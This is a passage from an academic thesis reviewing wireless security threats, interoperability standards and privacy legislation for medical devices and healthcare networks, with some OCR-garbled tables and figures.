et al., 2012). Also see: Kebande, Karie and Omeleze (2016); and, Kebande, Karie,
and Venter (2016).

Different types of attacks such as active (data modification, packet
dropping) and passive (eavesdropping) attacks can easily be launched by insiders
with malicious intents. According to Ren et al. (2006, p. 3), insider attacks in
WSNs are classified into four categories: attacks related to “data forwarding”,
“data generation”, “routing” and “physical”. Hence, the different types of insider
attacks in WSNs are summarised in Table 4.9. Also see: Mahncke and Williams
(2014).

Similarly, Beyah and Venkataraman (2011) state that wireless rogue
devices or access points are an increasing problem domain for the insider threats.
Even though many organisations mainly focus on the security of wireless
networks by using wireless intrusion detection systems (WIDS) in order to protect
from attacks initiated by outsiders. However, such systems always overlook the
threat of insiders or individuals who have authorised credentials within the
organisation (Beyah & Venkataraman, 2011). Thus, most of the problems relating
to insertion of rogue APs into the enterprise networks are often due to insiders.
Moreover, Beyah and Venkataraman (2011, p. 56) describe the existence of these
rogue APs is “approximately 20 percent of all enterprise networks” and network
security can be compromised as a consequence. Similar to malicious insiders, it is
essential to understand that, malicious outsiders can also place Fake APs to
deceive a wireless STA into accessing the network though it, instead of the
legitimate one. Subsequent attacks on the wireless node can later be initiated.
Therefore, the healthcare industry, government and other organisations should be
aware of insider threats and promote the methods to detect such rogue APs
(Figure 4.7, which was the state-of-play ten years ago from 2001-2009) within the
network (Beyah & Venkataraman, 2011).

Blackwell (2009, pp. 3-4) classified insider attacks according to the
attacker's "actions of sabotage (loss of availability and integrity), fraud (financial
losses to the organisation or their customers by unauthorised transactions) and

theft (disclosure of sensitive information or the loss of physical assets)", according
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the second Computer Emergency Readiness Team (CERT) guide to insider

threats.
* Passive ® Passive * Scalable * Passive ® Passive ® Can passively
+ Visibility into  # Visibility into ¢ Independent ¢ Scalable * Scalable detect all known
wireless signals ~ wireless signals of wireless ¢ Independent e Independent RAP threats
* Minimal * Automated frequency of wireless of wireless
infrastructure wireless frequency frequency
required scanning * Doesn’t
require samples of
wired and
wireless traffic
® Makes no assumption
about link speeds
# Easily evaded e Expensive * Active ® Requires samples ¢ Can be evaded ¢ Expensive
* Unscalable * Unscalable * Nodes might of wired and by skilled insiders  (inherits costs
+ Manually * Can be evaded not cooperate  wireless traffic * Requires policy of wireless-side
laborious by skilled insiders ® Assumes wireless to distinguish solutions)
* Requires * Requires link will always between
hardware hardware be slower than legitimate AP
with multiple with multiple wired and RAP
frequency frequency ¢ Can be evaded by
ranges ranges skilled insiders
* Requires policy
to distinguish
between legitimate
AP and RAP
Walking halls Distributed Wired-side Wired-side Wired-side Best of current Passive Irrefutable device
with sniffer sensors querying nodes statistics: statistics: wired-side and wired-side identification
anomaly based analytical wireless-side access-point type  through traffic
signature based solutions identification ~ characteristics
Wireless-side solutions Wired-side solutions Hybrid solutions Next-generation solutions
B 2002 2004 2007 2009 Near future Future

Figure 4.7: A rogue-access-point (RAP) detection road map including past decade of
solutions from 2001-2009 (Beyah & Venkataraman, 2011, p. 60)
The insider attacks can be defined as the attacks initiated by insiders or malicious
employees and such attacks are very difficult to encounter and diagnose.
Accessing an IT system, information and the available resources by a malicious
employee is authorised by their credentials (Blackwell, 2009). Furthermore, the
security protection mechanisms such as firewalls or intrusion prevention systems
(IPS/IDS) to protect IT systems, and entrance to the physical location of the
hospitals or healthcare organisation, do not hinder the actions of malicious
employees. Hence, a comprehensive systematic defence is essential to wireless
medical systems and devices as there is not a single protection or security

mechanism to prevent attacks initiated by an insider or the internal employee.

4.7.4 Standards Are Being Developed

There is one substantial limitation with regard to the applications of wireless
technologies in healthcare systems (Delmastro, 2012). The problem is the "the
lack of interoperability among devices belonging to different vendors, even if they
physically use the same wireless technology” (Delmastro, 2012, p. 1292).

Delmastro (2012) states that there is also a need for a common data format to
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store patient’s data in a centralised database, however, the problems related to
interoperability could be solved by referring to the problems at different layers of
ISO/OSI model (Figure 4.8). For instance, the problem at the upper application
layer can be solved by “defining data models and formats for devices’
communication” (Delmastro, 2012, p. 1293). Hence, the international
organisations such as Digital Imaging and Communications in Medicine
(DICOM), Health Level Seven International (HL7) and ISO/IEEE 11073 (also
referred to as X73) are developing standards for interoperability in health

information technology.
ISO / OSI model

ISO / IEEE 11073 std

DIM X73/10201
Nomenclature X73/10101

Medical Device PHD - Device

Specialization Specialization

Fw Common Fw
X73/103xx X73/104xx

Network
(rquﬁng and logical addressing)

Figure 4.8: Correspondence between 1SO/OSI model and IEEE 10073 standards
(Delmastro, 2012, p. 1293)

4.7.5 Privacy Issues

As stated in Section 3.6, sensitive patient information can be misused by
malicious people. For instance, malicious attackers could access the hospital
information systems, the medical devices including implanted ones, and
monitoring devices (such as PDAs, iPads, and smartphones used by nurses and
doctors) could be infected by viruses. Hence, the security and privacy of the
patients can be compromised.

Westin (1967, p. 7, cited in Parks et al., 2011, p. 3) defined information
privacy as “the claim of individuals, groups, or institutions to determine for

themselves when, how, and to what extent information about them is
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communicated to others”. However, in healthcare informatics, Ishikawa (2000,

cited in Parks et al., 2011, p. 4) stated the definition of patient information privacy

should be based on “confidentiality, integrity, availability and accountability”.

There are consequences such as “patients might be subject to harassment,

discrimination, economic harm or denied service from insurance or employers” if

privacy of patient data is breached (Parks et al., 2011, p. 1).
Other researchers (Garfinkel et al., 2002; Thatcher et al., 2000, cited in

Parks et al., 2011) argue that it would be difficult to examine issues related to

patient information privacy in a healthcare environment due to changeable and

complex variables, and stricter policies and regulations. Nonetheless, Parks et al.

(2011, p. 5) summarised healthcare information “privacy issues and threats” from

the perspective of a management information system (MIS) and health informatics

(Table 4.10).

Table 4.10: Summary of privacy issues, threats and countermeasures (adapted from
Parks et al., 2011, pp. 5-7)

Privacy Issues MIS Medical Technical MIS and
and Threats References References Countermeasures Media
References
Data Collection | (Culnan et al., | (Croll, 2010) Anonymisation (Claerhout et
2009; Malhotra al., 2005)
et al., 2004,
Smith,  1993;
Smith et al,
1996b; Solove,
2006; Stewart et
al., 2002)
Data Use & (Dinev et al., | (Agrawal et al., Anonymisation (Boyd et al.,
Disclosure 2006; Li et al., | 2007; Boyd et 2007; Chiang
2010g; al., 2010; et al., 2010b:
Malhotra et al., | Ishikawa, 2000; Mohan et al.
2004; Solove, | Mohan et al., 2004- ’
2006) 2004; Hno- Neut;auer ot
Machado et al.,
2004; Patel et al., _ 2004:
al., 2000: Quantin et al.,
Quantimet et 2000)
al., 2000) Cryptographic (Quantin et al.,
2000)
Access control (Chen et al.,
2010; Haas et
al., 2011)
Unauthorised (Cuhan et al, | (Chen et al., Access Control (Blobel et al.,
Access 2009; Smith et | 2010; Croll, Mechanism 2006: Chen et
al., 1996a; | 2010;  Kluge, al., 2010;
Solove, 2006; | 2007; Mohan et Lovis et al
Stewart et al., | al., 2004; 2007 Mohan’
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2002) Neubauer et al., et al., 2004;
2001; Patel et Peleg et al.,
al., 2000; Reni 2008; Reni et
gt_ ali& 2t°0|4; al., 2004;
e Srsky et
Lin et al., 2009) 2010; Van der

Linden et al.,

2009)
Encryption (Kluge, 2007)
Anonymisation (Boyd et al.,

2007;
Neubauer et

al., 2011)

Secondary Use (Culnan et al., | (Aberdeen et Anonymisation (Aberdeen et

2009; Culnan, | al., 2010; al., 2010;

1993; Smith et | Chiang et al., Neubauer et

al., 1996a; | 2003; _CI‘O”, a|.,2011)

Solove, 2006; | 2010; Ishikawa,

Stewart et al.,

2000; Neubauer

2002) et al, 2011;

Quantin et al.,
2000)

Errors (Sadan, 2001,
Van der linden
et al., 2009)

Balance between (Croll,  2010;

privacy policies, Mohan et al.,

Clinical Users 2004)

and Patient

Expectation

Awareness of (Malhotra et al., | (Croll, 2010)

privacy practices

2004)

EHRs design and
lack of standards

(Kluge, 2007)

4.8 CONCLUSION

Chapter 4 documented and detailed wireless security architectures, goals, threats,

attacks, and the challenges faced in the medical environment. Importantly,

significant issues and problems were identified that warrant further investigation.

Chapter 5 now reviews and documents the higher level security provisions that

impact the matters raised in Chapter 4. These include standards, protocols,

legislation, and management models that are implemented to mitigate risk.

65




Chapter Five

WIRELESS NETWORK ARCHITECTURE AND STANDARDS
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Figure 5.1: Roadmap of Chapter 5

Different types of wireless networks are being deployed in the medical healthcare

industry (previously mentioned in Section 2.2.1). The main purpose of the
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wireless network is to provide two or more devices to communicate without
physical cabling. However, different wireless networks have different operating
frequencies, coverage areas and data rates. For instance, Karygiannis and Owens
(2002, pp. 17-19) stated that IEEE 802.11 WLAN was designed “to support
medium-range, high data rate applications” with “greater flexibility and
portability than do traditional wired local area networks (LANs)” by employing
mobile and portable stations connecting to the network. The following sections
will document and review typical wireless architectural components and models,
WLAN standards, and standards for medical health devices and health
information technology.

5.1 WIRELESS LAN ARCHITECTURAL COMPONENTS AND MODELS

The WLAN architecture is made up of physical and logical components. Scarfone
et al. (2008, p. 14) state that there are two basic physical components of IEEE
802.11 WLAN, namely a “Station (STA)” and an “Access Point (AP)”. In general,
wireless end-user devices such as laptops, personal digital assistants (PDAs), and
smartphones are referred to as STAS, whereas any devices or entities that have
STA functionality and can provide distributed services via the wireless medium
for associated STAs and are known as APs (Scarfone et al., 2008; IEEE Std.
802.11, 2007) (see Figure 5.2).
&

| _/ N

&0 08

Smart Phone \ / PDA (STA)

(STA)
& Laptop (STA)

Figure 5.2: Ad hoc mode or independent basic service set (IBSS) model (adapted from
Scarfone et al., 2008, p. 15; Earle, 2006, p. 77)
Scarfone et al. (2008, p. 14) add that an AP can logically not only connect “STAS

with a distribution system (DS), which is typically an organisation’s wired

infrastructure”, but also ‘“connect wireless STAs with each other without
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accessing a DS”. Similarly, the logical component of WLAN can be referred to as
the basic service set (BSS) that provides the function to manage a group of
wireless nodes (Laet & Schauwers, 2005; Housley & Arbaugh, 2003).

To configure BSS, the IEEE 802.11 WLAN architectural model can be
classified into two basic models: ad hoc or peer-to-peer (P2P), or infrastructure
modes (Scarfone et al., 2008; Laet & Schauwers, 2005). The former does not
utilise APs in data communications between two or more wireless STAs (see
Figure 5.2), while the latter has deployed at least an AP to provide
communications between the wireless STAs and a DS (see Figure 5.3). Hence, the
ad hoc mode or peer-to-peer (P2P) mode of operation is possible “when two or
more wireless STAs are able to communicate directly to one another” (Scarfone et
al., 2008, p. 14) and “a set of STAs configured in this ad hoc manner is known as

an independent basic service set (IBSS)”.
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Figure 5.3: Infrastructure mode or extended service set (ESS) model (adapted from
Scarfone et al., 2008, p. 15; Earle, 2006, p. 77)
In contrast, the IEEE 802.11 WLAN infrastructure mode consists of one or more
AP that controls all wireless traffic (Earle, 2006). The infrastructure mode is
composed of a BSS that includes an AP and one or more STAs (Scarfone et al.,
2008). The infrastructure mode is commonly an adopted wireless network
architecture and it is also referred to as an extended basic service set (EBSS) if

multiple BSS networks are connected to a single DS (Scarfone et al., 2008).
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Hence, the IEEE 802.11 WLAN infrastructure mode is illustrated in Figure 5.3 by

using three BSSs connected to a DS.

5.2 WIRELESS LAN STANDARDS AND TECHNOLOGIES

WLANSs and devices were originally specific to the manufacturers (Earle, 2006).
As a result, the IEEE standardised 802.11 wireless standards introduced since
1997 allow different wireless devices from different vendors to interoperate
together. Even though IEEE 802.11 is the most ubiquitous wireless technology
nowadays, there are other wireless technologies (see Table 4.1) such as IEEE
802.15.1 (Bluetooth), IEEE 802.15.3 and IEEE 802.15.4 (high data rate PAN, and
low data rate PAN or Zigbee, respectively) and cellular 3, 4, 5G do exist. Paguette
et al. (2011, p. 244) state that Bluetooth and Zigbee are preferably suited for
BANSs, and PANSs, and hence “emerging technologies such as body worn smart
sensors will use these standards to communicate with each other and a personal
server wirelessly”. However, it is essential to note that different wireless
technologies have different operating frequencies, coverage area, throughput or
data rate, and candidate system. Therefore, several different wireless technologies
are classified as shown in the Table 5.1.

Table 5.1: Classification of Wireless technologies (adapted from Liolios et al., 2010;
Banitsas et al., 2002; Sendra, 2010, Brown, 2003; Elliot, 2007; Haskin, 2007; Jacobs,

2007; Laet & Schauwers, 2005; Stallings, 2004; Stanley, 2002; Varshney, 2003)

Technology Data Rate Coverage Area Frequency Candidate
Band Subsystem
ANT (Wireless 1Mbps Local area 800 MHz, WPAN
Personal Network 1900 MHz,
protocol) 2100 MHz
Bluetooth (IEEE 721 Kbps 10m — 150m 2.4 GHz ISM WBAN
802.15.1)
Bluetooth Low Energy 1 Mbps 10m 2.4 GHz ISM WBAN
Bluetooth 3.0 + High 3 —24 Mbps 10m 2.4 GHz ISM WBAN
Speed
Cellular 3G 14.4 m - km 800 MHz,
Mbps/5.8 1900 MHz,
Mbps 2100 MHz
Cellular 4G 100 Mbps/ m -km 700 MHz, 850
50 Mbps MHz, 900
MHz, 1800
MHz, 2100
MHz,2300
MHz, 2600
MHz
Cellular 4G+ 300 Mbps/ m -km 700 MHz, 850




150 Mbps MHz, 900
MHz, 1800
MHz, 2100
MHz,2300
MHz, 2600
MHz
Cellular 5G 1,000-10,000 m -km 3.5GHz
Mbps
Digital Enhanced 32 Kbps 100m 1880 — 1900
Cordless MHz
Telecommunications
(DECT)
IEEE 802.11a 54 Mbps 150m 5 GHz ISM BAN/PAN
IEEE 802.11b 11 Mbps 150m 2.4 GHz ISM BAN/PAN
IEEE 802.11g (Wi-Fi) 54 Mbps 300m 2.4 GHz ISM BAN/PAN
IEEE 802.11n (Wi-Fi) 540 Mbps 300m 2.4 GHz ISM BAN/PAN
IEEE 802.11ac (Wi-Fi) | 3400 Mbps 3m 5 GHz ISM BAN/PAN
IEEE 802.15.3 (High 11-55 1m —50m 2.4 GHz ISM PAN
data rate wireless Mbps
personal area network)
IEEE 802.15.4 (Low 250 Kbps 100m — 300m 2.4 GHz ISM
data rate wireless 868 MHz, 915
personal area network MHz ISM
such as Zigbee)
Insteon (connecting 13 Kbps Home Area 131.65 KHz
lights and Switch) (power line)
902 -924 MHz
Infrared Data 4 Mbps 2m IR (0.90 micro
Association (IrDA) (lbA-1.1) - meter)
Radio — frequency 10-100 1- 100m 860 — 960
Identification (RFID) Kbps MHZ
RuBee (IEEE 1902.1) 9.6 Kbps 30m 131 KHz
Ultra-wideband 480 Mbps <10m 3.1-10.6 GHz
(Standard ECMA-368)
Z-Wave (Home 9.6 Kbps 30m 900 MHz ISM

automation)

5.3 STANDARDS FOR MEDICAL HEALTH DEVICES AND HEALTH
INFORMATION TECHNOLOGY

There are numerous guidelines and standards related to medical healthcare

technology. These guidelines and standards are created and embraced by

international organisations, government agencies and professional or specialised

organisations and societies (David & Judd, 2006). According to the healthcare

standards directory of Emergency Care Research Institute (ECRI), which is a non-

profit international organisation that promotes the standards to improve patient

safety and cost-effectiveness of patient care, there are more than “20,000

individual standards and guidelines produced by 600 organisations and agencies
from North America alone” (David & Judd, 2006, p. 75-14). Some of the

standards address design and manufacturing practices for medical devices and
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related software although others apply to the safety and performance requirements
for particular technologies (for instance, electrical and radiation safety standards).
Likewise, standards are also required for the “coding and structure of clinical
patient care data; the content of data sets for specific purposes; and electronic
transmission of such data to integrate data efficiently across departmental
systems within a hospital and data from the systems of other hospitals and
healthcare providers” (Fitzmaurice, 2006, p. 41-12). Hence, this section will
selectively cover specific standards such as Digital Imaging and Communications
(DICOM), Health Level Seven International (HL7), Health Insurance Portability
and Accountability Act of 1996 (HIPAA), European Union Data Protection
Directive (1998), Medical Data Interchange (MEDIX) Standard, IEEE P1073
Medical Information Bus (MIB), International Standard Organisation/Institute of
Electrical and Electronics Engineers (ISO/IEEE 11073 or X73), and Personal
Health Data (PHD).

5.3.1 DICOM and Health Level Seven International (HL7) Standards

DICOM is standardised by the American College of Radiology — National
Electronic Manufacturers’ Association (ACR-NEMA) for medical imaging. It
outlines the communication standards and data formats for radiologic images and
“is supported by most radiology picture archiving and communication systems
(PACS) vendors” (Blair, 2006, p. 42-4). On the other hand, HL7 is used for “the
communication of medical information systems residing in different facilities”
(Delmastro, 2012, p. 1293), “clinical observations and clinical data including test
results; admission, transfer, and discharges records; and charge and billing
information” (Blair, 2006, p. 42-4). For instance, Turab et al. (2010) discussed the
wireless network architecture that supports HL7 requirements (this is a standard
that supports clinical patient care), in which the restriction of different users’
rights was explained. To sum up, both DICOM and HL7 standards mainly focus

on the data exchange at application layer (Delmastro, 2012).

5.3.2 HIPAA Standard

Health Insurance Policy and Accountability Act (HIPAA) is United States
legislation that governs the privacy of medical health data and envisioned to

permit entities or individuals to control access to or disclose personal medical
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health information. HIPAA details the way in which medical health data has to be
protected and who has to protect it. Hence, Fitzmaurice (2006) stated that HIPAA
mandate how personal health information should be protected and shared within
the United States or any supplier trading with the United States. In fact, it is
crucial to protect privacy and confidentiality of patient data as the exchange of
patient data is increasingly happening among health service providers’ networks.
According to HIPAA, the participants from the health industry have to
ensure that patient data can only be disclosed if consent is given by the patient.
Otherwise, the consequences of infringing the Privacy Rule (effective in April
2003) can be very costly (Fitzmaurice, 2006). Likewise, HIPAA enforces the
Security Rule (effective in April 2005) that addresses guidelines for the
minimum-security requirements to ensure the security, confidentiality and
integrity of electronically stored or transmitted personal medical health
information (Fitzmaurice, 2006). Moreover, the patients’ privacy protection
mandates HIPAA and the Health Information Technology for Economic and
Clinical Health Act (HITECH) (Parks et al., 2011). Similarly, the requirements of
HIPAA including the ways in which to protect medical “data confidentiality,
privacy of patients’ personal information, proper access to patients’ medical
records, the privileged limitation of clinicians and exceptional emergency
treatment” were defined in the published paper written by Ren et al. (2010, p. 60).
However, such patient’s privacy protection mandates, such as HIPAA, does not
specify certain procedures on how healthcare providers should protect personal
health information even though security requirements, such as encryption,

authentication and authorisation, are noted (Fitzmaurice, 2006).

5.3.3 European Union (EU) Data Protection Directive

The European Union (EU) Data Protection Directive (1998) is an integral element
of EU privacy law that enforces the process of individual’s personal data
protection and its movement within the European Union (European Data
Protection Supervisor, 2019, p. 1). The EU directive is also applied to other
companies from overseas (e.g. companies from United States, Canada) that do

business with the EU. However, such a directive for data protection is superseded
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by a new regulation, referred to as “EU General Data Protection Regulation”
released on 25 May 2018 (European Data Protection Supervisor, 2019, p. 1).

5.3.4 New Zealand Privacy Act 1993 and Privacy Code of Practice 1994

The deployment of wireless technologies in medical or clinical environments can
provide benefits to the existing healthcare services. On the other hand, there are
several challenges related to deployment of such technologies due to the inherent
nature of wireless. For instance, most of the WMedDs are battery operated, and
have low processing power and memory. Hence, the battery power could be
exhausted very easily due to the malicious attack and the application of a strong
cryptographic algorithm is somewhat impossible to secure transmitted data.
However, the information of patients or device users must be secure, private and
accessible by authorised people such as physicians or nurses. Similar to other
countries, the New Zealand Privacy Act 1993 (Department of Labour, 2005, p. 16)
is “intended to promote and protect personal privacy by imposing rules on the
ways that agencies collect, store, use, and disclose personal information. It also
gives people a legal right to have access to information about themselves, and a
right to request correction of any incorrect or misleading personal information.”
There are twelve privacy principles in the Privacy Act and those principles are
summarised in Table 5.2.

Table 5.2: Summary of the New Zealand privacy principles and their coverage areas

(adapted from Office of the Privacy Commissioner, 2013a, p. 1)

Privacy Principles Related Coverage
Principles 1-4 Collection of personal information
Principle 5 Storage and security of personal information

Principles 6 and 7, plus parts | Requests for access to and correction of personal

4 and 5 of the Act information

Principle 8 Accuracy of personal information

Principle 9 Retention of personal information
Principles 10 and 11 Use and disclosure of personal information
Principle 12 Using unique identifiers

Similarly, “the Privacy Act 1993 gives the Privacy Commissioner the power to

issue codes of practice that become part of the law” (Office of the Privacy
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Commissioner, 2013b, p. 1). However, the privacy Codes of Practices only
applies to specific areas such as ‘“health, telecommunications and credit
reporting” (Office of the Privacy Commissioner, 2013a, p.1). For instance, the
“Health Information Privacy Code (HIPC) 1994 and a commentary (2008
edition)” apply to “the health information relating to identifiable”, “agencies that
provides personal or public health or disability services” and “agencies that do
not provide health services to individuals but which are part of health sector such
as the Accident Compensation Corporation (ACC), the Ministry of Health, etc.,”
(Office of the Privacy Commissioner, 2013c, p. 1). More detailed information
about HIPC 1994 and its revised edition 2008 can be found in the documents
released on the website of Office of the Privacy Commissioner (2013c, p. 1).
These legislations are under regular review and a new round of updates began

again in 2018.

5.3.5 Medical Data Interchange (MEDIX) and IEEE P1073 (MIB) Standards

Blair (2006) states that the exchange of medical data between hospital and clinical
IT systems (MEDIX) is developed by the Engineering in Medicine and Biology
Society (EMB) of the Institute of Electrical and Electronics Engineers (IEEE).
Likewise, the IEEE P1073 Medical Information Bus (MIB) standard addresses the
connections of medical devices to “point-of-care information systems” (Blair,
2006, p. 42-4).

5.3.6 ISO/IEEE 11073 or X73 Standards

Since 1980, there are standards for the medical health devices such as the
International Organisation for Standardisation/Technical Committee 215
(ISO/TC215 — the standardisation of Health Information and Communications
Technology), European Committee for Standardisation/Technical Committee 251
(CEN/TC 251 - the standardisation of Health Information and Communications
Technology in the European Union), IEEE 1073 (Lim et al., 2010). However,
these different standards have now converged to establish ISO/IEEE 11073 health
informatics (medical device communications) standards (Lim et al., 2010).

These ISO/IEEE 11073 or X73 standards are primarily aimed to provide
“real-time plug-and-play interoperability of medical and healthcare devices” and

“efficient exchange of care device data, acquired at the point-of-care, in all care
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environments” (ISO/IEEE 11073-20101:2004, 2013; Martinez et al., 2010;
Martinez-Espronceda et al., 2008), and hence ISO/IEEE 11073 or X73PoC
standards are especially to address medical device communications in the Point-
of-Care (PoC) of the patients in the Intensive Care Units (ICUs). All standards are

under regular review and these documents were current at the time of writing.

5.3.7 Personal Health Data (PHD) Standards

According to researchers (Nam et al., 2011; Lim et al., 2010, p. 217), ISO/IEEE
11073 PoC standards are not suitable for healthcare devices at “home and mobile
environments”. In fact, the communication of medical devices (e.g. blood pressure,
electrocardiogram, glucose monitoring devices) from different vendors is not
feasible as the protocols are mostly developed in-house (Nam et al., 2011). As a
result of the development in wearable wireless devices and emergence in
communication technologies; the ISO/IEEE 11073 or X73 Personal Health Data
(X73PHD) standards have been developed for PHDs with limited resources such
as processors, memory and power (Nam et al., 2011; Martinez et al., 2010; Lim et
al., 2010; Clarke et al., 2007). Hence, the ISO/IEEE 11073 PHD standards are
essentially developed for “disease management, elderly living alone, and health
and wellness” (Lim et al.,, 2010, p. 217) by describing “the protocol for
information delivery between individual medical devices” (e.g. glucose, blood
pressure monitors) “and the manager (e.g. smartphone or personal computer) that
collects and manages the information from individual medical devices” (Nam et
al., 2011, p. 789).

5.3.8 Identifier Standards

According to Blair (2006), a comprehensive universal identifier standard is
needed in order to exclusively identify each patient, provider, site-of-care and
product. For instance, the United States of America (U.S.) and New Zealand
generally use social security numbers (SSNs) and national health index (NHI)
numbers as patient identifiers, respectively. However, the infringements of
confidentiality of patient data happen because SSNs are also usually used for
other purposes (Blair, 2006, p. 42-2); hence the American Society for Testing and
Materials (ASTM) E31.12 subcommittee has developed the “Guide for Properties
of Universal Health Care Identifier”. Similarly, the division of the U.S.
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department of health and human services, Health Care Financing Administration
(HCFA), sets the Universal Physician Identifier Number (UPIN) standard (Terrell
et al., 1991, cited in Blair, 2006, p. 42-2), which is normally designated to
physicians whereas the Standard Prescriber ldentification Number (SPIN) is
standardised by National Council of Prescription Drug Programs (NCPDP) for
pharmacists in the retail sector. Likewise, HCFA and the Health Industry Business
Communications Council (HIBCC) define site-of-care identifier systems for
Medicare usage in the U.S. But, Blair (2006) states that these identifier standards
or systems are only accepted in the U.S and there exists a need for universally
accepted uniform identifier standards.

5.3.9 New Zealand Health Information Privacy Code 1994

The New Zealand Health Information Privacy Code (NZHIPC) is a code of
practice regarding how to collect and use health information as issued by the
Privacy Commissioner (2017). These may be in the form of the patient’s medical
history, medical test results, and medical services completed. The code covers
health agencies such as organisations that provide health care and services,
insurers, and the Ministry of Health. The code states that a patient’s health
information should not be collected unless the information will be used for a
lawful purpose (Privacy Commissioner, 2017; Slane, 1994). The health agency
should collect the information directly from the concerned individual or the

representative.

The agency should inform the person that the information is collected, the
purpose of collecting the information, and who are the recipients of the collected
information (Privacy Commissioner, 2017; Slane, 1994). If the concerned
individual wants to view the information or to make corrections, the health agency
must allow the person to do so. The health agency should also ensure that
measures are in place in order to protect the privacy of the information. One way
of protecting health information privacy is to limit the number of people that the
information will be disclosed to (Privacy Commissioner, 2017; Slane, 1994).
Disclosure of the information should be authorised by the concerned individual or

representative. Once the information is no longer needed, the health agency
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should not keep the patient’s information to avoid unnecessary breaches in

privacy. To summarise, there are twelve rules in NZHIPC as shown in Table 5.3.

Table 5.3: Summary of rules of New Zealand Health Information Privacy Code and
their coverage areas (adapted from Privacy Commissioner, 2017)

Privacy Principles Related Coverage

Rule 1, Rule 2, Rule 3 and Collection of health information: must only be done
Rule 4 for a lawful purpose and it is essential to collect the
information for that purpose. When collecting health
information from a person, reasonable steps should
be taken including “why health information may be
collected, where it may be collected from, and how it
is collected” (Privacy Commissioner, 2017, pp. 8-
13).

Rule 5 Storage and security of health information: health
agencies must have reasonable security safeguards to
protect against  unauthorised access, use,
modification or disclosure and other misuse of health
information (Privacy Commissioner, 2017, p. 14).
Rule 6 Access to personal health information gives
“individuals to have the right to access their health
information” (Privacy Commissioner, 2017, p. 15).
Rule 7 Correction of health information allows “individuals
to have the right to correct their health information”
(Privacy Commissioner, 2017, p. 16).

Rule 8 Accuracy of health information is ensuring
“information is accurate, up to date, complete,
relevant and not misleading” (Privacy Commissioner,
2017, p. 17).

Rule 9 Retention of health information is important. In fact,
health information must not be kept for longer than is
required (Privacy Commissioner, 2017, p. 18).

Rule 10 Limits on use of health information in which “any
health agency that holds health information obtained
in connection with one purpose must not use the
information for any other purpose unless the health
agency believes on reasonable grounds” (Privacy
Commissioner, 2017, p. 19).

Rule 11 Limits on disclosure of health information (Privacy
Commissioner, 2017, pp. 21-24).
Rule 12 Unique identifiers such as “IRD numbers, bank client

numbers, driver’s licence and passport numbers can
be used” (Privacy Commissioner, 2017, pp. 25-26).

5.3.10 I1SO 27001

ISO 27001 is a standard for information security which is designed to provide all
types of organisations a model for implementing, maintaining, and monitoring an

Information Security Management System (ISMS). This is a framework of
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different procedures and controls involved in information risk management
(Honan, 2014). It provides best practices and standards which organisations can
follow to have their ISMS certified. Aside from security policies and access
controls, 1SO27001 also discusses standards for asset management, physical
security, human resources security, communications management, incident
management, business continuity management, information systems acquisition,
and compliance (Honan, 2014). By following the ISO 27001 standard,
organisations can obtain increased reliability of their security systems, as well as

ensure compliance with legislation.

Act C> Plan
Check :j ﬂ Do

Figure 5.4: PDCA model (Honan, 2014, p. 39)
ISO 27001 follows the Plan, Do, Check, and Act (PDCA) model, as illustrated in
Figure 5.4. In the Plan phase, the scope, objectives, and risks of the ISMS are
defined. The Do phase is the implementation of the risk treatment plan. The
Check phase reviews the procedures of the ISMS, and the Act phase includes the
improvements identified in the previous phase of the cycle. The PDCA model

ensures that the ISMS is reviewed and improved continuously (Honan, 2014).

5.3.11 1SO 31000

ISO 31000 provides generic guidelines on risk management which can be adapted
by any kind of organisation, regardless of the industry (Cherdantseva, Burnap,
Blyth, Eden, Jones, Soulsby, & Stoddart, 2016). It provides a common set of
terminologies for risk management, as well as performance criteria that
organisations can follow. It states that risk management should be systematic and
integral to the organisation’s processes and should promote the continuous
improvement of the organisation (Purdy, 2010). It follows the risk management
process as shown in Figure 5.5. The risk management process illustrates that
communication and consultation, as well as monitoring and review should be

done continuously in parallel with the other phases. The process begins with
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identifying the goals of the organisation and the factors that might affect these
objectives. The risks are identified analysed by defining the likelihood and
consequences of the risks (Purdy, 2010). The risks are then evaluated by
prioritising the different risks, then the selected risk treatment is tested and

implemented.
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Figure 5.5: Risk Management Process (Cherdantseva et al., 2016, p.19)

5.4 CONCLUSION

Chapter 5 has reviewed the high level security concerns impacting of medical
environment IT security. Much of the literature reviewed reflected the data
available at the time of reviewing, because legislation and standards are under
constant revision. The range and depth of documentation is indicative of the
urgency and the concern for risk treatments that protect the patients from
unwanted disclosure or harm. Chapter 5 completes the literature review that has
from Chapter 2 covered the scope of the research area. Chapter 6 will now define
a methodology in which some of the claims from the literature may be tested. The
aim of the methodology is to replicate and verify the asserted wireless
vulnerabilities identified in the previous chapters, and then to recommend

improved technology and information management models.
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Chapters 2-5 have specified the scope of the problem context, and identified the

security problems and vulnerability issues associated with the use of wireless

services in medical environments. The problems have both technical and
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theoretical (in law and standards) solutions but gaps in knowledge and practice
exist. In Chapter 6 a methodology is developed to investigate wireless medical
systems for security and forensic readiness. The position that forensic readiness is
part of security preparations is adopted from the literature that suggests any
security provision has a residual risk of failures. Security comes before an event to
protect, and forensic capability allows further risk mitigation after the event to
protect the system.

Chapter 6 is structured to review examples of previously published
research that identifies how others went about doing research in the target area. In
this way, best research practices for the area of study can be targeted and learned
from others. Then, a Design Science research methodology is adopted and
developed for this project. The objective of the research is to design a forensically
ready wireless medical system. Consequently, the literature review has delivered
the best design to date (see Figure 6.5) that can be tested for improvements. The
pilot study results presented in Chapter 7, provide data and the construction of a
new and improved model (see also Appendix E). For the purpose of the design
science methodology, the digital forensic readiness models are the artefacts of
interest and the artefact that is subjected to evaluation and continuous
improvement processes. The second part of Chapter 6 defines the methodology

and the data collection requirements.

6.1 REVIEW OF PREVIOUSLY PUBLISHED ARTICLES

Four relevant research reports are reviewed in the following sub-sections to locate
guidance on how to investigate security vulnerabilities and how to design a
digitally ready system for the wireless medical environment. The first article is an
up to date attempt to create a wireless digital readiness model. It reviews the
technical challenges and scope. The second addresses the problem of capturing
and preserving wireless traffic and delivers working detail for setting up the
experiments. The third shows research around standardisation issues and the types
of legal risk associated with medical technologies. The fourth is research into the
real continuous monitoring of patients. Together these four published papers have

comprehensive guidance for guiding a study in the problem area.
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6.1.1 A Forensic Readiness Model for Wireless Networks

The article written by Ngobeni, Venter and Burke (2010) proposes a wireless
forensic readiness model (WFRM) in order to support monitoring, logging and
preserving the traffic of wireless local area network (WLAN) for digital forensic
investigation (DFI). As a result of advances in wireless technologies, there exists
ubiquitous WLANS or wireless “hotspots” covering the areas “such as convention
centers, airports, schools, hospitals, railway stations, coffee shops and other
locations to provide seamless access to the Internet” (Velasco et al., 2008, cited in
